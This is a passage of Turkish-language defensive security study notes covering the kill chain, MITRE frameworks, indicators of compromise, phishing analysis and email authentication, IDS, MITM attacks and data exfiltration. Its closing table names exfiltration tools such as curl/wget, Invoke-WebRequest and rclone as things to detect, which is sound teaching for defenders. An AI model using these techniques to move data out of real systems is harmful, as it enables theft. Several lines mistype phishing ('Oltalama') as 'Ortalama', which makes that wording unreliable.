Saldırganın kodunun hedef sistemde yürütüldüğü ve bilinen bir güvenlik açığından faydalandığı andır. Bu aşamada dikkat edilmesi gereken belirtiler şunlardır:

- Beklenmedik süreçlerin başlaması.
- Kayıt defteri (registry) değişiklikleri veya yeni hizmetlerin oluşturulması.
- Sistem günlüklerinde şüpheli komut satırı argümanlarının bulunması.

5. Kurulum (Installation)

Saldırgan, sisteme eriştikten sonra bağlantıyı kaybetmesi veya tespit edilip ilk erişiminin kaldırılması durumunda sisteme yeniden bağlanmak isteyecektir. Bu noktada saldırı, **kalıcı bir arka kapı (persistent backdoor)** kurma ihtiyacı duyar.

- **Arka Kapı (Backdoor):** Saldırganın güvenlik önlemlerini atlamasına ve erişimini gizlemesine olanak tanıyan bir erişim noktasıdır.
- **Kalıcılık:** Kalıcı bir arka kapı, saldırının geçmişte ele geçirdiği bir sisteme, güvenlik açığı yamalanmış olsa bile, tekrar erişmesine olanak tanır.

6. Komuta ve Kontrol (C2 - Command & Control)

Kurban makine ile saldırgan arasında kurulan iletişim kanalıdır. Bu kanal üzerinden saldırgan, ele geçirdiği sisteme komutlar gönderir ve veri alır.

7. Eylem (Action)

Bu son aşamada, saldırgan artık hedefine ulaşmış olup sistem üzerinde istediği eylemleri gerçekleştirebilir. Bu, veri sızdırmadan sistemi sabote etmeye kadar geniş bir yelpazeyi kapsayabilir.

MITRE Tarafından Sağlanan Temel Güvenlik Kaynakları

MITRE, yalnızca siber güvenlik alanında değil, aynı zamanda yapay zeka, sağlık bilişimi ve uzay güvenliği gibi birçok alanda "ulusun güvenliği, istikrarı ve refahı" için araştırmalar yapan bir kuruluştur. Siber güvenlik alanında uzun süredir bulunan profesyoneller, MITRE'ı genellikle bir zafiyet için exploit ararken başvurulan **CVE (Common Vulnerabilities and Exposures)** listesiyle ilişkilendirir. Ancak MITRE'in topluluğa katkıları bununla sınırlı değildir.

MITRE tarafından güvenlik topluluğuna sunulan bazı temel araçlar ve kaynaklar şunlardır:

- **ATT&CK® (Adversarial Tactics, Techniques, and Common Knowledge) Framework:** Gerçek dünya gözlemlerine dayanan, rakip taktik ve tekniklerinin küresel olarak erişilebilir bir bilgi tabanıdır.
- **CAR (Cyber Analytics Repository) Knowledge Base:** Siber analitik raporları için bir bilgi deposu.
- **ENGAGE:** Saldırganlarla etkileşim planlaması ve operasyonları için bir çerçeve.
- **D3FEND (Detection, Denial, and Disruption Framework Empowering Network Defense):** Ağ savunmasını güçlendiren tespit, engelleme ve bozma teknikleri çerçevesi.
- **AEP (ATT&CK Emulation Plans):** ATT&CK tabanlı saldırı emülasyon planları.

Bu kaynaklar, dünya çapındaki güvenlik ürünü satıcıları ve güvenlik ekipleri tarafından "kötülükle mücadeleye günlük çabalar için paha biçilmez" olarak kabul edilmektedir. Özellikle SOC analisti, tespit mühendisi veya siber tehdit analisti gibi rollere geçiş yapmak isteyenler için bu araçlar ve kaynaklar hakkında bilgi sahibi olmak bir zorunluluktur.

Saldırı Göstergeleri ve Savunma Değeri

Saldırı göstergeleri (Indicators of Compromise - IoC), bir ağda veya sistemde potansiyel bir kötü amaçlı aktiviteyi işaret eden adli tıp verileridir. Bu göstergelerin tespiti, savunmacıların saldırıları anlamasına ve bunlara karşı önlem almasına yardımcı olur.

Hash Değerleri (Hash Values)

Microsoft'a göre hash değeri, "veriyi benzersiz şekilde tanımlayan" sabit uzunlukta bir sayısal değerdir.

- **Yaygın Algoritmalar:** MD5, SHA1, SHA2.
- **Kullanım:** Kötü amaçlı yazılımlara ait dosyaların hash değerleri, bu dosyaları kesin olarak tanımlamak için kullanılır.
- **Doğrulama Araçları:** VirusTotal ve Metadefender Cloud - OPSWAT gibi çeşitli çevrimiçi araçlar, hash değerlerini aratmak için kullanılabilir.

IP Adresleri (IP Addresses)

IP adresi, "bir ağa bağlı herhangi bir cihazı tanımlamak için" kullanılır. Bu cihazlar masaüstü bilgisayarlardan sunuculara ve hatta CCTV kameralarına kadar çeşitlilik gösterebilir.

- **Savunma Yöntemi:** Savunma açısından, bir saldırganın kullandığı IP adreslerini bilmek değerlidir. Yaygın bir taktik, bu IP adreslerinden gelen istekleri güvenlik duvarı seviyesinde engellemek, düşürmek veya reddetmektir.
- **Zayıflık:** Bu taktik genellikle kusursuz değildir, çünkü deneyimli bir saldırganın yeni bir genel IP adresi kullanarak bu engeli aşması oldukça basittir.

Alan Adları (Domain Names)

Alan adları, "bir IP adresini basitçe bir metin dizisine eşlemek" olarak düşünülebilir. Bir alan adı, bir alan ve bir üst düzey alan (örneğin, evilcorp.com) veya bir alt alan, ardından bir alan ve üst düzey alan (örneğin, tryhackme.evilcorp.com) içerebilir.

- **Kullanım:** Saldırganlar, komuta ve kontrol sunucularına veya ortalama sitelerine erişim için alan adlarını kullanır. Bu alan adlarının tespiti ve engellenmesi, savunmada önemli bir adımdır.

Oltalama Saldırıları: Analiz, Temeller ve Önleme Stratejileri

Yönetici Özeti

Bu brifing belgesi, modern siber güvenlik tehditlerinin en yaygın ve etkili türlerinden biri olan oltalama (phishing) saldırılarını tüm yönleriyle ele almaktadır. Oltalama, saldırganların güvenilir bir varlık gibi görünerek kurbanları hassas bilgileri ifşa etmeye, sahte bağlantılara tıklamaya veya kötü amaçlı ekleri açmaya ikna ettiği bir sosyal mühendislik tekniğidir. Etkili bir savunma stratejisi oluşturmak, bu saldırıların temel mekaniklerini, analiz yöntemlerini ve önleme teknolojilerini anlamayı gerektirir.

Belgenin temel bulguları şunlardır:

- Analiz Süreci:** Şüpheli bir e-postanın analizi, e-posta başlığından (gönderen IP adresi, e-posta adresi, tarih/saat) ve gövdesinden (URL'ler, eklerin hash değerleri) sistematik olarak veri toplamayı içerir. Bu süreçte analistin hiçbir bağlantıya tıklamaması veya eki açmaması kritik önem taşır.
- E-posta Altyapısı:** E-postaların gönderimi SMTP (Simple Mail Transfer Protocol) ile gerçekleştirilirken, alımı ve yönetimi POP3 veya IMAP protokolleri aracılığıyla yapılır. Bu protokollerin işleyişini ve aralarındaki farkları bilmek, e-postanın yolculuğunu anlamada kilit rol oynar.
- Teknik Savunma Mekanizmaları:** E-posta sahteciliğini ve manipülasyonunu önlemek için üç temel kimlik doğrulama standardı mevcuttur:
 - SPF (Sender Policy Framework):** Belirli bir alan adı adına hangi IP adreslerinin e-posta göndermeye yetkili olduğunu doğrular.
 - DKIM (DomainKeys Identified Mail):** E-postanın yetkili bir sunucudan geldiğini ve içeriğinin yolda değiştirilmediğini dijital bir imza ile garanti eder.
 - DMARC (Domain-Based Message Authentication, Reporting, and Conformance):** SPF ve DKIM'i birleştirerek, kimlik doğrulama kontrollerinden geçemeyen e-postalara ne yapılacağına dair bir politika belirler.
- Kurumsal Önlemler:** Teknik kontrollere ek olarak, kuruluşlar e-posta filtreleme, güvenli e-posta ağ geçitleri (SEG), bağlantı yeniden yazma, sandboxing (sanallaştırılmış ortamda test) gibi teknolojileri ve kullanıcı farkındalık eğitimleri ile oltalama simülasyonları gibi insan odaklı stratejileri içeren çok katmanlı bir savunma yaklaşımı benimsemelidir.

Bölüm 1: Oltalama Saldırılarına Giriş

Oltalama, saldırganların hedef sistemlere ilk erişimi sağlamak için kullandığı en yaygın ve etkili yöntemlerden biridir. MITRE ATT&CK Çerçevesi'ne göre, bu saldırı türü hedefleri kandırarak bilgi ifşa etmelerini sağlamayı amaçlar.

Oltalama (Phishing) ve Diğer Kötü Amaçlı E-posta Türleri

Farklı motivasyonlara ve hedeflere sahip çeşitli kötü amaçlı e-posta türleri bulunmaktadır:

- **Spam:** Çok sayıda alıcıya toplu olarak gönderilen istenmeyen e-postalardır. Daha tehlikeli olan varyantı **MalSpam** olarak bilinir.
- **Phishing (Oltalama):** Güvenilir bir kurumdan geliyormuş gibi görünen ve hedefleri hassas bilgileri (şifreler, kredi kartı bilgileri vb.) vermeye ikna etmeyi amaçlayan e-postalardır.
- **Spear Phishing (Hedefli Oltalama):** Oltalama saldırısının daha ileri bir seviyesi olup, belirli bir kişiyi veya kurumu hedef alarak hassas bilgi elde etmeye çalışır.
- **Whaling (Balina Avı):** Hedefli oltalama saldırısına benzer, ancak spesifik olarak C-seviyesi yöneticileri (CEO, CFO vb.) hedefler.
- **Smishing:** Oltalama saldırılarının mobil cihazlara odaklanmış halidir ve özel olarak hazırlanmış kısa mesajlar (SMS) kullanır.
- **Vishing:** Smishing'e benzer şekilde, sosyal mühendislik saldırıları için metin mesajları yerine sesli aramaların kullanılmasıdır.
- **Business Email Compromise (BEC - Kurumsal E-posta Dolandırıcılığı):** Bir saldırganın, bir şirket çalışanının e-posta hesabının kontrolünü ele geçirmesi ve bu hesabı kullanarak diğer çalışanları yetkisiz veya hileli eylemler gerçekleştirmeye ikna etmesidir.

Oltalama E-postalarının Tipik Özellikleri

Oltalama e-postaları genellikle aşağıdaki ortak özellikleri taşır:

- **Sahte Gönderici Adı/Adresi (Email Spoofing):** Gönderici, güvenilir bir kişi veya kurum gibi görünür.
- **Aciliyet ve Panik Hissi:** Konu satırında veya e-posta metninde "Fatura", "Askıya Alındı", "Acil" gibi anahtar kelimeler kullanılarak aciliyet hissi yaratılır.
- **Taklit Tasarım:** E-postanın HTML tasarımı, bilinen ve güvenilir bir kurumun (örneğin Amazon, bankalar) kurumsal kimliğini taklit edecek şekilde hazırlanır.
- **Zayıf Dilbilgisi ve Biçimlendirme:** Profesyonel bir kurumdan gelmesi beklenmeyecek derecede zayıf biçimlendirme veya dilbilgisi hataları içerebilir.
- **Genel Hitaplar:** "Sayın Bay/Bayan" gibi kişisel olmayan, genel hitaplar kullanılır.
- **Gizlenmiş Köprüler (Hyperlinks):** Gerçek hedefi gizlemek için genellikle URL kısaltma servisleri kullanılır.
- **Kötü Amaçlı Ekler:** Meşru bir belge (fatura, rapor vb.) gibi görünen ancak kötü amaçlı yazılım içeren ekler barındırır.

Bölüm 2: E-postanın Anatomisi ve İletim Mekanizması

E-posta Adresinin Yapısı

Bir e-posta adresi (billy@johndoe.com örneğinde olduğu gibi) iki ana bölümden oluşur:

1. **Kullanıcı Posta Kutusu (User Mailbox):** @ işaretinden önceki kısımdır (örneğin, **billy**). Bu, alan adı içindeki belirli bir alıcıyı tanımlar.
2. **Alan Adı (Domain):** @ işaretinden sonraki kısımdır (örneğin, **johndoe.com**). Bu, e-postanın gönderileceği sunucunun veya posta sisteminin adresidir.

Temel E-posta Protokolleri

E-postanın gönderilmesi ve alınması sürecinde üç temel ağ protokolü rol oynar:

- **SMTP (Simple Mail Transfer Protocol):** E-postaların gönderilmesini yönetmek için kullanılır.
- **POP3 (Post Office Protocol):** Bir istemci (örneğin Outlook) ile bir posta sunucusu arasında e-posta aktarımından sorumludur.
- **IMAP (Internet Message Access Protocol):** POP3 gibi, bir istemci ile posta sunucusu arasında e-posta aktarımını sağlar.

POP3 ve IMAP Karşılaştırması

Her ikisi de e-posta alımı için kullanılsa da, POP3 ve IMAP arasında temel işleyiş farkları vardır:

Özellik	POP3 (Post Office Protocol)	IMAP (Internet Message Access Protocol)
Depolama	E-postalar sunucudan tek bir cihaza indirilir ve orada saklanır.	E-postalar sunucuda saklanır ve birden fazla cihaza indirilebilir.
Gönderilen Mesajlar	Gönderilen mesajlar, e-postanın gönderildiği tek cihazda saklanır.	Gönderilen mesajlar sunucuda saklanır.
Erişim	E-postalara yalnızca indirildikleri tek cihazdan erişilebilir.	Mesajlar senkronize edilebilir ve birden fazla cihazdan erişilebilir.
Sunucu Durumu	"E-postayı sunucuda tut" ayarı etkinleştirilmezse, mesajlar cihaza indirildikten sonra sunucudan silinir.	Mesajlar varsayılan olarak sunucuda kalır.

Bir E-postanın Yolculuğu

Bir e-postanın göndericiden alıcıya ulaşma süreci aşağıdaki adımları izler:

1. Gönderici (Alexa), e-posta istemcisinde bir e-posta oluşturur ve "Gönder" düğmesine basar.

2. Göndericinin **SMTP** sunucusu, e-postanın nereye gönderileceğini belirlemek için alıcının alan adıyla (**johndoe.com**) ilişkili bilgileri **DNS**'e sorgular.
3. **DNS** sunucusu, alan adıyla ilgili bilgileri (MX kayıtları vb.) alır ve göndericinin **SMTP** sunucusuna iletir.
4. Göndericinin **SMTP** sunucusu, e-postayı internet üzerinden alıcının posta kutusuna doğru gönderir.
5. E-posta, hedef **SMTP** sunucusuna ulaşana kadar çeşitli aracı **SMTP** sunucularından geçer.
6. E-posta, nihayetinde hedefin **SMTP** sunucusuna ulaşır.
7. Hedef **SMTP** sunucusu, e-postayı alıcının beklediği yerel **POP3/IMAP** sunucusuna yönlendirir.
8. Alıcı (Billy), e-posta istemcisini açar ve istemci, posta kutusundaki yeni e-postaları kontrol etmek için yerel **POP3/IMAP** sunucusunu sorgular.
9. Alexa'nın e-postası, kullanılan protokole bağlı olarak Billy'nin e-posta istemcisine kopyalanır (**IMAP**) veya indirilir (**POP3**).

Bölüm 3: Ortalama E-postası Analizi

Şüpheli bir e-postanın analizi, belirli bilgilerin sistematik olarak toplanmasını gerektirir. Bu bilgiler, e-postanın "ham" (raw) kaynak koduna bakılarak da elde edilebilir.

Analiz İçin Kritik Kontrol Listesi

E-posta Başlığından (Header) Toplanacak Bilgiler

- Gönderen e-posta adresi
- Gönderen IP adresi
- Gönderen IP adresinin ters DNS sorgusu (Reverse Lookup)
- E-posta konu satırı
- Alıcı e-posta adresi (bu bilgi CC/BCC alanlarında da olabilir)
- Yanıtla (Reply-to) e-posta adresi (varsa)
- Tarih/saat

E-posta Gövdesinden (Body) Toplanacak Bilgiler

- Tüm **URL bağlantıları** (URL kısaltma servisi kullanılmışsa, gerçek URL'nin elde edilmesi gerekir)
- Ekin adı
- Ekin **hash değeri** (tercihen SHA256, MD5 de olabilir)

Uyarı: Analiz sırasında e-postadaki hiçbir bağlantıya yanlışlıkla tıklamamaya veya ekleri açmamaya özen gösterilmelidir.

Bölüm 4: Ortalama Saldırılarına Karşı Savunma Mekanizmaları

Kuruluşlar, kullanıcıları kötü amaçlı e-postalardan korumak için çeşitli araçlar ve kontroller kullanır.

Teknik Kimlik Doğrulama Kontrolleri

Bu kontroller, e-postanın kaynağını ve bütünlüğünü doğrulamak için DNS kayıtlarını kullanır.

SPF (Sender Policy Framework)

SPF, bir e-postanın göndericisini doğrulamak için kullanılan bir yöntemdir. Bir alan adı için yayınlanan DNS TXT kaydı, o alan adı adına e-posta göndermeye yetkili IP adreslerinin bir listesini içerir. İnternet Servis Sağlayıcıları (ISP'ler), bu kaydı kontrol ederek bir posta sunucusunun yetkili olup olmadığını doğrulayabilir.

DKIM (DomainKeys Identified Mail)

DKIM, gönderilen bir e-postanın kimliğini doğrulamak için kullanılır. Gönderen posta sunucusu, e-postaya bir dijital imza eklemek için özel bir anahtar (private key) kullanır. Alıcı sunucu, imzanın geçerli olup olmadığını doğrulamak için alan adının DNS kayıtlarında yayınlanan genel anahtarı (public key) alır. İmza eşleşirse, e-postanın gerçekten belirtilen alan adından geldiği ve yolda değiştirilmediği kanıtlanmış olur. DKIM'in avantajı, e-posta yönlendirmelerinden sonra bile geçerliliğini korumasıdır.

DMARC (Domain-Based Message Authentication, Reporting, and Conformance)

DMARC, SPF ve DKIM'in sonuçlarını birleştirerek e-posta kimlik doğrulamasını bir üst seviyeye taşır. Gönderenin alan adının, SPF ve DKIM tarafından doğrulanan alan adlarıyla "hizalı" (aligned) olmasını sağlar. Bu hizalama başarısız olursa, DMARC, alıcı sunucuya DMARC kaydında belirtilen politikaya göre e-postayı nasıl ele alması gerektiğini (örneğin reddet, karantinaya al veya hiçbir şey yapma) bildirir.

Kurumsal Düzeyde Önleme Stratejileri

Modern e-posta sistemleri, ortalama mesajlarını kullanıcılara ulaşmadan önce tespit etmek ve engellemek için çeşitli teknik kontroller kullanır:

- **E-posta Filtreleme:** IP ve alan adı itibarına dayalı filtreleme yaparak şüpheli mesajları engeller veya karantinaya alır.
- **Güvenli E-posta Ağ Geçitleri (SEGs):** Mesajları tarayarak taklit girişimlerini, sahteciliği ve diğer ortalama tekniklerini tespit eder.
- **Bağlantı Yeniden Yazma (Link Rewriting):** Şüpheli veya bilinmeyen URL'leri, sistemin bağlantıyı taraması ve doğrulaması için zaman kazandıran güvenli, yönlendirilmiş bağlantılarla değiştirir.
- **Sanallaştırılmış Ortam (Sandboxing):** Şüpheli bağlantıları veya ekleri, kötü amaçlı davranışları kontrol etmek için güvenli, sanal bir ortamda izole eder ve test eder.
- **Güven ve Uyarı Göstergeleri:** Modern e-posta platformları, kullanıcılara bir mesajın güvenli olup olmadığını anlamalarına yardımcı olan görsel ipuçları (örneğin, "Harici Gönderici" veya "Şüpheli Bağlantı" gibi başlıklar) gösterir.

- **Oltalama Raporlama Mekanizmaları:** Kullanıcıların şüpheli mesajları hızla bildirmelerine olanak tanıyan, e-posta içine entegre edilmiş kolay raporlama seçenekleri sunar.
- **Kullanıcı Farkındalık Eğitimleri:** Çalışanları oltalama girişimlerini, sosyal mühendislik taktiklerini ve güvenli e-posta uygulamalarını tanıma konusunda eğitir.
- **Oltalama Simülasyonları:** Çalışan eğitimini test etmek ve pekiştirmek için kontrollü oltalama kampanyaları düzenler.

Ağ Güvenliği ve Tehdit Tespiti Üzerine Bilgilendirme Notu

Yönetici Özeti

Bu bilgilendirme notu, modern siber güvenlik tehditlerinin temel dinamiklerini, tespit yöntemlerini ve bu tehditlere karşı kullanılan temel araçları özetlemektedir. Analizler, ağ altyapısının temel bileşenlerinin (uç noktalar, sunucular, Active Directory) saldırganlar için potansiyel hedefler olduğunu ve bu bileşenlerin güvenliğinin kritik önem taşıdığını ortaya koymaktadır. Etkili bir savunma stratejisinin temel taşı, "savunamayacağınızı göremezsiniz" ilkesiyle özetlenen ağ görünürlüğüdür. Bu görünürlük, hem cihazlarda (host-merkezli) hem de cihazlar arasındaki trafikte (ağ-merkezli) toplanan günlüklerin birleştirilmesiyle sağlanır.

Saldırganlar, ağa sızmak için Ortadaki Adam (MITM) gibi teknikler kullanırken, nihai hedeflerine ulaşmak için genellikle veri sızdırma (Data Exfiltration) yöntemlerine başvururlar. Veri sızdırma, DNS tünelleme, şifrelenmiş HTTP trafiği veya gizli kanallar gibi tespiti zor yöntemlerle gerçekleştirilebilir. Bu tür karmaşık ve gizli faaliyetlerin tespiti, güvenlik duvarlarını aşan tehditleri belirlemek üzere tasarlanmış Saldırı Tespit Sistemleri (IDS) ile mümkündür. IDS'ler, bilinen saldırı kalıplarını (imza tabanlı) veya normal davranıştan sapmaları (anomali tabanlı) tespit ederek güvenlik analistlerine kritik uyarılar sağlar. Snort gibi açık kaynaklı ve kural tabanlı bir Ağ Saldırı Tespit Sistemi (NIDS), bu tehditleri belirlemek için güçlü ve esnek bir araç olarak öne çıkmaktadır.

Ağ Güvenliğinin Temel Unsurları

Kurumsal Ağ Bileşenleri ve Güvenlik Önemi

Bir kurumsal ağ, her biri farklı güvenlik riskleri taşıyan çeşitli bileşenlerden oluşur. Bu bileşenlerin rolünü anlamak, şüpheli aktivitelerin hızlıca tespit edilmesi için kritik öneme sahiptir.

- Kullanıcı İş İstasyonları (Uç Noktalar):** Çalışanların günlük işlerini yürüttüğü PC ve dizüstü bilgisayarlardır. Genellikle **kimlik avı e-postaları veya kötü amaçlı indirmeler yoluyla** saldırganlar için en yaygın giriş noktasıdır. Uç nokta güvenliği, saldırganların ağ içinde yanal olarak hareket etmesini engellemek için ilk savunma hattıdır.
- Dosya ve Veritabanı Sunucuları:** Müşteri kayıtları, finansal veriler ve İK bilgileri gibi bir işletmenin en değerli varlığı olan verileri depolarlar. Saldırganlar genellikle bu sunucuları hedef alır, zira bu sunucuların ele geçirilmesi değerli verilere erişim anlamına gelir. Özellikle **fidye yazılımı (ransomware)** operatörleri, etkilerini en üst düzeye çıkarmak için dosya sunucularını hedef alırlar.

- **Uygulama Sunucuları (Web, E-posta, VPN vb.):** Şirket web siteleri, kurumsal iletişim ve uzaktan erişim gibi hizmetleri sağlarlar. **Dışa dönük (externally facing)** olmaları nedeniyle yüksek değerli hedeflerdir ve saldırganlar tarafından sürekli olarak **yazılım zafiyetleri veya zayıf yapılandırmalar** açısından taranırlar.
- **Active Directory (AD) / Kimlik Doğrulama Sunucuları:** Kurumsal ağların kimlik omurgasıdır. Kullanıcıları, grupları, bilgisayarları ve erişim haklarını yönetir. AD, ayrıcalık yükseltme, kalıcılık sağlama ve yanal hareket için saldırganların yaygın olarak hedef aldığı bir bileşendir. Tek bir **etki alanı yöneticisi (domain admin) hesabının** ele geçirilmesi tüm kurumu tehlikeye atabilir.
- **Yönlendiriciler ve Anahtarlar (Ağ Altyapısı):** Yönlendiriciler, kurumsal LAN'ı internete **bağlarken**, anahtarlar aynı ağ içindeki cihazları birbirine **bağlar**. Ele geçirilmeleri durumunda saldırganlara trafiği engelleme ve manipüle etme (Ortadaki Adam saldırıları), gizli kanallar oluşturma ve arka kapılar yaratma yeteneği sağlarlar.
- **Güvenlik Duvarları / Çevre Cihazları (Firewalls / Perimeter Devices):** Güvenilir iç ağ ile güvenilmeyen internet arasındaki **trafiği kontrol eden** birincil güvenlik kapısıdır. Tanımlanmış güvenlik kurallarına göre gelen ve giden paketlere **izin verir veya engeller**. Günlükleri, port taramaları veya kaba kuvvet denemeleri gibi saldırıların en erken göstergelerini içerir.

Ağ Görünürlüğü: Host ve Ağ Merkezli Günlükler

Siber güvenlikte temel bir ilke şudur: **"Savunamayacağınızı göremezsiniz."** Etkili ağ görünürlüğü, tehdit tespiti ve olay müdahalesi için esastır. Bu görünürlük iki ana günlük kaynağından elde edilir ve bir saldırı zaman çizelgesini oluşturmak için ikisinin de birleştirilmesi gerekir.

- **Host-Merkezli Günlükler (Host-Centric Logs):** Sunucular ve iş istasyonları gibi **ağ üzerindeki bireysel cihazlar (hostlar)** tarafından oluşturulur. Bir sistem üzerindeki saldırının doğrudan etkisini anlamak için gereklidirler.
 - **Ana Kaynaklar:** İşletim Sistemi Günlükleri (Windows Olay Günlükleri, Linux syslog), Uygulama Günlükleri (Apache, Nginx, MSSQL) ve Güvenlik Aracı Günlükleri (Antivirüs, EDR, HIDS).
- **Ağ-Merkezli Günlükler (Network-Centric Logs):** Bir cihazda ne olduğunu değil, **cihazlar arasında** ne olduğunu anlatır. Ağ üzerinde bulunan ve trafiği izleyen ağ cihazları tarafından oluşturulur.
 - **Ana Kaynaklar:** Güvenlik Duvarları (Firewalls), Saldırı Tespit/Önleme Sistemleri (IDS/IPS), Web Proxy'leri ve VPN cihazları. Bu günlükler, bir saldırganın ilk keşif girişimlerini, sistemler arası yanal hareketini veya veri sızdırma denemelerini ortaya çıkarabilir.

Saldırı Tespit Sistemleri (IDS)

Güvenlik duvarları, ağın sınırında trafiği kontrol ederken, bu savunmayı aşan tehditlerin tespit edilmesi için ek mekanizmalara ihtiyaç duyulur. Bir saldırganın meşru görünümlü bir bağlantı yoluyla güvenlik duvarını başarıyla atlaması ve ağ içinde kötü niyetli faaliyetlerde bulunması durumunda, **"bunu zamanında tespit edecek bir şey olmalıdır."** Bu amaçla kullanılan güvenlik çözümü Saldırı Tespit Sistemi (IDS) olarak bilinir.

Dağıtım Modelleri

- **Host Tabanlı IDS (HIDS):** Tek tek ana makinelere kurulur ve yalnızca o ana makineyle ilişkili potansiyel güvenlik tehditlerini tespit etmekten sorumludur. Ana makinenin faaliyetlerine ilişkin ayrıntılı görünürlük sağlar ancak büyük ağlarda yönetimi zordur.
- **Ağ Tabanlı IDS (NIDS):** Belirli ana makinelerden bağımsız olarak tüm ağ içindeki potansiyel kötü niyetli faaliyetleri tespit etmek için kritik öneme sahiptir. Tüm ana makinelerin ağ trafiğini izleyerek merkezi bir görünüm sunar.

Tespit Yöntemleri

- **İmza Tabanlı IDS (Signature-Based IDS):** Her saldırının "**benzersiz bir deseni**" (imzası) vardır. Bu IDS, bilinen saldırı imzalarını veritabanında saklar ve bu imzalarla eşleşen trafiği tespit eder. Bilinen tehditleri tespit etmede verimli olmasına rağmen, "**sıfırinci gün saldırılarını tespit edemez.**"
- **Anomali Tabanlı IDS (Anomaly-Based IDS):** Önce ağın veya sistemin "**normal davranışını**" (temel çizgi - baseline) öğrenir ve bu normal davranıştan herhangi bir sapma olduğunda tespit gerçekleştirir. Sıfırinci gün saldırılarını tespit edebilir ancak meşru aktiviteleri kötü niyetli olarak işaretleyerek "**çok sayıda yanlış pozitif üretebilir.**"
- **Hibrit IDS (Hybrid IDS):** Her iki yaklaşımın güçlü yönlerinden yararlanmak için imza tabanlı ve anomali tabanlı tespit yöntemlerini birleştirir.

Yaygın Saldırı Teknikleri ve Tespit Yöntemleri

Ağ Keşfi (Network Discovery)

Saldırganlar, bir organizasyonun internete açık varlıklarını, yani "**saldırı yüzeyini**" keşfederek saldırılarına başlarlar. Bu aşama, saldırının nereden başlayacağını belirlemek için kritik bilgiler toplar.

- **Reconnaissance (Keşif):** Tarama etkinliği, özel bir ağın dışında bulunan bir IP adresinden geliyorsa, saldırı henüz keşif aşamasındadır.
- **Discovery (İç Keşif):** Tarama etkinliği, 10.x.x.x gibi özel bir IP adresinden, yani içeriden geliyorsa, bu durum ağa çoktan sızıldığını ve saldırının iç ağda bilgi topladığını gösterir.
- **Yatay Tarama (Horizontal Scanning):** Bir saldırganın aynı portu **birden fazla hedef IP adresi** üzerinde taramasıdır. Belirli bir zafiyeti taşıyan tüm makineleri bulmak için kullanılır.
- **Dikey Tarama (Vertical Scanning):** Tek bir ana makine IP adresinin birden fazla port üzerinde taranmasıdır. Değerli bir hedef olarak görülen tek bir makinenin açık hizmetlerini ve potansiyel zafiyetlerini belirlemek için yapılır.

Ortadaki Adam (Man-in-the-Middle - MITM) Saldırıları

MITM saldırısı, "**bir saldırganın iki taraf arasındaki iletişimi gizlice ele geçirdiği ve potansiyel olarak değiştirdiği**" bir siber saldırı türüdür. Bu saldırılar genellikle zayıf şifreleme veya kimlik doğrulama mekanizmalarını hedefler.

ARP Sahtekarlığı (ARP Spoofing)

Bu teknikte saldırgan, kurban cihazları kandırarak saldırganın MAC adresini meşru bir IP adresiyle (genellikle varsayılan ağ geçidi) ilişkilendirmeleri için sahte ARP yanıtları gönderir. ARP protokolünün **kimlik doğrulaması olmaması** bu saldırıyı mümkün kılar.

- **Saldırı Göstergeleri:**
 - **Yinelenen MAC-IP Eşleşmeleri:** Birden fazla MAC adresinin aynı IP adresini talep etmesi.
 - **İstenmeyen ARP Yanıtları:** İlgili istekler olmadan yüksek sayıda ARP yanıtı ("gratuitous ARP").
 - **Anormal ARP Trafik Hacmi:** Kısa aralıklarla çok sayıda ARP paketi.

DNS Sahtekarlığı (DNS Spoofing)

DNS Önbellek Zehirlenmesi olarak da bilinen bu yöntemde saldırgan, kurbanın DNS sorgusunu ele geçirir ve ziyaret edilmek istenen web sitesi için sahte bir IP adresi içeren sahte bir DNS yanıtı gönderir. Bu, kurbanı sahte bir siteye yönlendirir.

- **Saldırı Göstergeleri:**
 - **Aynı Sorgu İçin Birden Fazla DNS Yanıtı:** En güvenilir göstergedir.
 - **Beklenmedik Bir Kaynaktan Gelen DNS Yanıtı:** Yanıt, yapılandırılmış herhangi bir çözümleyiciyle eşleşmeyen bir IP'den gelir.
 - **Şüpheli Derecede Kısa TTL Değerleri:** Saldırganlar, zehirlenmiş kayıtların kısa ömürlü olması için çok düşük TTL (1-30s) değerleri kullanır.

SSL Soyma (SSL Stripping)

Saldırgan, bir istemci ile sunucu arasındaki TLS şifrelemesini kaldırmak veya engellemek için trafiği ele geçirir. Bu, istemcinin HTTPS yerine HTTP üzerinden iletişim kurmasına neden olurken, saldırgan sunucuyla güvenli bir HTTPS oturumunu sürdürür ve aradaki tüm verileri düz metin olarak görür.

- **Saldırı Göstergeleri:**
 - **İlk İstek ve Yanıt Farkı:** Kullanıcının ilk isteği HTTPS (port 443) için olabilir, ancak sonraki paketler aynı alan adı için hemen şifrelenmemiş HTTP'ye (port 80) geçer.
 - **Yönlendirmeler:** HTTPS isteğini sürekli olarak bir HTTP kaynağına yönlendiren HTTP 301 veya 302 durum kodları.

Veri Sızdırma (Data Exfiltration)

Veri sızdırma, hassas verilerin bir bilgisayardan veya cihazdan yetkisiz olarak aktarılmasıdır. Bu, bir ağ ihlal eden saldırganların birincil hedeflerinden biridir.

Sızdırma Aşamaları

1. **Keşif / Toplama (Discovery / Collection):** Saldırgan hassas dosyaları bulur.
2. **Hazırlama / Sıkıştırma (Staging / Compression):** Saldırgan dosyaları bir araya getirir, sıkıştırır, şifreler veya kodlar (ZIP, RAR, base64 vb.).
3. **Sızdırma Aktarımı (Exfiltration Transport):** Ağ, çıkarılabilir medya, bulut veya gizli kanallar üzerinden transfer gerçekleştirilir.
4. **Komuta & Kontrol (C2) Koordinasyonu:** Transferi yönetir ve alımı onaylar.

Sızdırma Teknikleri ve Göstergeleri

Teknik Kategorisi	Örnekler	Saldırı Göstergeleri ve Bakılacak Yerler
Ağ Tabanlı	S3/Azure Blob/webmail'e HTTP/S yüklemeleri, FTP/SFTP/SCP, DNS tünelleme, özel TCP/UDP.	Proxy günlükleri (büyük POST istekleri), güvenlik duvarı akışları (tek IP/ASN'ye yüksek bayt), Netflow (ani artışlar), DNS günlükleri (uzun ana makine adları, TXT sorguları).
Host Tabanlı	Powershell/Invoke-WebRequest, rclone, awscli, curl/wget, arşiv oluşturma (zip/rar), USB kullanımı.	Sysmon/EDR (Process Create, Network Connect, File Create olayları), Windows Güvenlik (4663/4656 nesne erişimi), Linux'ta auditd/shell geçmişi.
Bulut Sızdırması	S3 PutObject / çok parçalı yükleme, Azure Blob yüklemeleri, Drive/SharePoint harici paylaşımı.	CloudTrail / Azure Activity / GCP Audit günlükleri, bulut depolama erişim günlükleri, olağandışı hizmet hesabı veya IP etkinliği.
